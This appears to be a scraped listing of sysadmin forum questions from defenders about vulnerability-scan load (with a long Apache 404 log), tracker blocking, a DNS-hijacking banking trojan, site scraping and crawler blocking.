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  • Prevent malicious vulnerability scan increasing load on a server

    - by Simon
    Hi all, this week we have been suffering some malicious vulnerability scans to our servers, increasing the load on them, making them nearly unusable. The attack is easy to defend, just blocking the offending ip, but only after discovering it. Is there any form of prevent it? Is it normal that one server becomes nearly unusable due to one of these scans? These are the requests done in just one second to our server: [Fri Mar 12 19:15:27 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/zope trunk 2 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/8872fcacd7663c040f0149ed49f572e9 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/188201 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/74e118780caa0f5232d6ec393b47ae01 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/87d4b821b2b6b9706ba6c2950c0eaefd [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/138917 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/180377 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/182712 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/compl2s [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/e7ba351f0ab1f32b532ec679ac7d589d [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/184530 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/compl_s [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/55542 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/7b9d5a65aab84640c6414a85cae2c6ff [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/77257 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/157611 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/textwrapping [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/51713 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/elina [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/fd4800093500f7a9cc21bea232658706 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/59719 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/administrationexamples [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/29587 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/bdebc9c4aa95b3651e9b8fd90c015327 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/defaultchangenotetext [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/figments [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/69744 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/fastpixelperfect [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/conchmusicsoundtoolkit [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/settingwindowposition [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/windowresizing [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/84784 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/186114 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/99858 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/131677 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/167783 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/99933 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/3en17ljttc [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/gradientcode [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/pythondevelopmentandnavigationwithspe [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/10546 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/167932 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/smallerrectforspritecollision [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/176292 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/3sumvid-19yroldfuckedby2bigcocks [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/67909 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/175185 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/131319 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/99900 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/act5 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/contributors-agreement [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/128447 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/71052 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/114242 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/69768 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/debuggingwithwinpdbfromwithinspe [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/39360 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/176267 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/143468 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/140202 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/25268 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/82241 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/142920 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/downloadingipythonformswindows [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/34367 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/for_collaborators [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/pydeveclipseextensionsfabio [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/usingpdbinipython [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/142264 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/49003 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/gamelets [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/texturecoordinatearithmetic [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/project_interface [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/143177 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/pydeveclipsefabio [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/91525 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/40426 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/134819 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/usingipythonwithtextpad [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/developingpythoninipython [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/35569 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/objfileloader [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/simpleopengl2dclasses [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/191495 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/3dvilla [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/145368 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/140118 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/87799 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/142320 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/glslexample [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/39826 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/cairopygame [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/191338 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/91819 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/152003 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/gllight [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/40567 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/137877 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/188209 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/84577 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/131017 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/fightnight [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/79781 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/4731669 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/161942 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/160289 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/81594 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/12127 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/164452 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/96823 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/163598 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/159190 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-test fsfs+ra_local [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/davros [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-publish logs [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-cleanup [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-test fsfs+ra_svn [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/cdrwin_v3 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/brianpensive [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/x86-openbsd shared gcc [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/roundup-0 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/svcastle [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/56584 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/45934 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-build [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/97194 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/cdrwin_3 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/72243 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/117043 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/147084 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/52713 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/101489 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/134867 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/win32-dependencies [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/36548 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/43827 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/100791 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/elita_posing [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/167848 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/36314 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/49951 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/142740 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/cdromkiteletronicaptg [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/138060 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/68483 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/184474 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/137447 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/sndarray [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/127870 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/167312 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/75411 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/167969 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/surfarray [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/174941 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/59129 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/147554 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/105577 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/91734 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/96679 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/06au [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/124495 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/aah [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/164439 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/12638190 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/eliel [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/171164 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/linearinterpolator [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-test [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/heading_news [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/87778 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/portlet_64568222 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/graphic_ep [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/132230 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/12251 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/greencheese [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/188966 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/cdsonic [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/171522 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/elitewrap [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/184313 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/188079 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/147511 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/160952 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/132581 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/84885 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/graphic_desktop [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/win32-xp vs2005 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/128548 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/92057 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/65235 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/pyscgi [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/56926 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/svcastle-big [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/138553 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/138232 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/153367 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/42315 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/150012 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/160079 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/win32-xp vc60 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/163482 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/42642 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/174458 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/163109 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/spacer_greys [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/pdf_icon16 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/26346 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/190998 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/fforigins [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/aliens-0 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/step-update faad [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/13376 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/52647 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/155036 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/compl2 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/174323 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/42317 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/tsugumo [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/171850 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/184127 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/48321 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/162545 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/84180 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/135901 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/57817 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/6360574 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/124989 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/113314 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/sprite-tutorial [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/14294 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/191387 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/187294 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/178666 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/179653 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/wingide-users [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/16309095 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/169465 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/189399 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/172392 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/35627 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/2670901 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/177847 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/chimplinebyline [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/87518 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/154595 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/12811780 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/cdmenupro42 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/110131 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/95615 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/18464 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/lwedchoice-1999 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/5099582 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/100968 [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/j-emacs [Fri Mar 12 19:15:28 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/0206mathew [Fri Mar 12 19:15:29 2010] [error] [client 213.37.49.231] File does not exist: /var/www/html/10844356 Thanks in advance!

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  • Easy solution to monitoring & blocking connections to non-malicious services, IP's, and tracking companies

    - by binarybunny
    Our family lives in the middle of nowhere, so the only high-speed internet available is Verizon's 3G mobile broadband. We have the highest package available, yet continually go over the 10GB limit and get charged $10 every 1GB we go over. We run a business from home, so stopping when we hit the limit is not an option. I've found the majority of connections are to Google, Microsoft, Akamai, Facebook, and other web service companies (mainly google). I know these are harmless connections, but when it costs money for them to monitor our web activity it becomes a serious problem. Here's some things I've done, but I'm sure there's something else that could help before blocking a huge set of IP ranges: stopped using windows (on my machine) use MVPS host file on all computers use firefox on all computers (with don't track me option) ad block plugin on all browsers blocking google updates blocking windows updates block images in browsers (when possible) use comodo (paranoia-level style of blocking..) virus-free computers with ESET NOD32 bought router and installed dd-wrt in attempt to block connections more diligently (and throttle bandwidth if it comes to that) Anything I'm missing? I know Google analytics is on almost all websites, as well as FB like buttons but I would like to be able to stop these connections without blocking use of google services like gmail, etc. Any ideas?

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  • Malicious program changing my DNSs

    - by julio.alegria
    Some weeks ago I started having problems with my internet connection, it was extremely slow and suddently some websites (specifically gmail, facebook, youtube and twitter) started failing to connect, while the rest connect normally. Some days after, those same websites started showing me a message in portuguese: "Nova atualização disponível" whenever I tried to connect and a .exe file started downloading ("internet_update.exe" or something like that). That's when I freaked out! It was definitely a virus or something like that, but it was really weird because I never had a problem like that (I run Linux). So I turned on my old PC (running Windows XP) and it turned out it had the same problem! the same message was showed whenever I tried to connect one of those specific websites, while the rest loaded without problems. Even in my Android smarthphone the same message was showed. So it was obvious that the problem was not in a particular machine but in the router itself. So I started googling and I found some information, unfortunately I only found some in spanish, so I will make you a short summary: It is a new banking trojan developed specifically to infect and collect information from Brasilian banks. Apparently now it has expanded to Argentina and Peru. So how does it work? It spreads through social networks (videos, links, ...) and then it "takes control" of your internet connection by changing the values of your DNSs. More specifically, it changes the Primary DNS to one of this IPs: 108.170.13.38, 66.7.216.122 or 63.143.43.154 and the Secondary DNS to 8.8.8.8, this secondary DNS is actually the Google Public DNS, and it is configured this way so that your internet connection continue working properly and the user does not notice anything. The important part here is that because no download or install has been made in your machine, no antivirus will notice any change. After your DNSs have been changed, the trojan controls every single website you connect to and this way they steal your bank information. So after reading about this I accesed to my router and I restored my Primary and Secondary DNSs to their proper values, but one day after I had the same problem again. This is actually a 50% warning post - 50% help me! post. So, here comes the question: Is there any possible way to prevent my DNSs of being changed?

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  • Number of malicious attacks defended/done on the average user daily [closed]

    - by DalexL
    As a web hoster, it is very easy to notice the large amounts of exploit/abuse attempts done on my servers. Out of curiosity, how often are these attempts done on the average user? I'm assuming almost all of them are prevented just by simple security protocols in place by their browsers, local network, etc. How many attempts, on average, are committed against a single user daily through any method? (email, internet, downloads, etc.)? If known, what percentage of these things are blocked by the average users security? I tried googling but I was having a hard time getting the right search terms together.

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  • Identify malicious subnet

    - by Macros
    I have been experiencing performance issues on a website for a while, and it always seems to hit around the same time. Having analysed the logs I've found a big spike in requests which corresponds with this slowdown, with all requests coming from the same subnet. It feels to me like an attempt to scrape the site (it is a car hire site and the requests are sequential for each IP and with incremental search criteria) and I would like to identify the source. The Subnet in question is 209.67.89.x which I can see is owned by Savvis however I can't reverse DNS any of the IPs - is there any other way I can gain more info on this (other than contacting them direct - I am also doing this)?

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  • Malicious crawler blocker for ASP.NET

    - by Marek
    I have just stumbled upon Bad Behavior - a plugin for PHP that promises to detect spam and malicious crawlers by preventing them from accessing the site at all. Does something similar exist for ASP.NET/ASP.NET MVC? I am interested in blocking access to the site altogether, not in detecting spam after it was posted.

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  • Protecting websites from the attack of malicious scripts and viruses

    - by tibin mathew
